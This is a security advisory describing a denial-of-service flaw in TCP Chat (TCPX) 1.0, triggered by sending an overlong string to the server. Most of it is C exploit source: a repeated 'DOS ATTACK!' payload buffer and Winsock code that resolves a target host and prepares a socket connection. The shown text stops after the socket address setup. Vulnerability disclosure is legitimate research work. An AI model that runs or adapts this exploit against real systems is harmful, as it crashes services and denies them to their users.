Summary
The "TCP Chat(TCPX) application's main purpose is to provide a fast way to do a point-to-point chat conversation. Its uses the TCP Internet protocol. One of the party must start the chat by selecting the Server mode, while the other part must select the Client mode".

A denial of service condition occurs when a very long text string is sent to the server side of the TCP Chat program.

Credit:
The information has been provided by basher13.

Details
Vulnerable Systems:
* TCP Chat version 1.0

Error messages:
'Run-time error '40006';
Wrong protocol or connection state for the requested transaction or request

'Run-time error '429';
ActiveX component can't create object

Exploit:
/*
TCP Chat(TCPX) DoS Exploit
----------------------------------------

Resolve host... [OK]
[+] Connecting... [OK]
Target locked
Sending bad procedure... [OK]
[+] Server DoS'ed

Tested on Windows2000 SP4
Info: infamous.2hell.com / basher13@linuxmail.org

*/

#include <string.h>
#include <winsock2.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32.lib")

char doscore[] =
"*** TCP Chat 1.0 DOS Exploit \n"
"***-----------------------------------------------\n"
"*** Infam0us Gr0up - Securiti Research Team \n\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n";

int main(int argc, char *argv[])
{
WSADATA wsaData;
WORD wVersionRequested;
struct hostent *pTarget;
struct sockaddr_in sock;
char *target;
int port,bufsize;
SOCKET inetdos;

if (argc < 2)
{
printf(" TCP Chat(TCPX) DoS Exploit \n", argv[0]);
printf(" ------------------------------------------\n", argv[0]);
printf(" Infam0us Gr0up - Securiti Research\n\n", argv[0]);
printf("[-]Usage: %s [target] [port]\n", argv[0]);
printf("[?]Exam: %s localhost 1234\n", argv[0]);
exit(1);
}

wVersionRequested = MAKEWORD(1, 1);
if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1;

target = argv[1];
port = 1234;

if (argc >= 3) port = atoi(argv[2]);
bufsize = 1024;
if (argc >= 4) bufsize = atoi(argv[3]);

inetdos = socket(AF_INET, SOCK_STREAM, 0);
if(inetdos==INVALID_SOCKET)
{
printf("Socket ERROR \n");
exit(1);
}
printf(" TCP Chat(TCPX) DoS Exploit \n", argv[0]);
printf(" ------------------------------------------\r\n\n", argv[0]);
printf("Resolve host... ");
if ((pTarget = gethostbyname(target)) == NULL)
{
printf("FAILED \n", argv[0]);
exit(1);
}
printf("[OK]\n ");
memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
sock.sin_family = AF_INET;
sock.sin_port = htons((USHORT)port);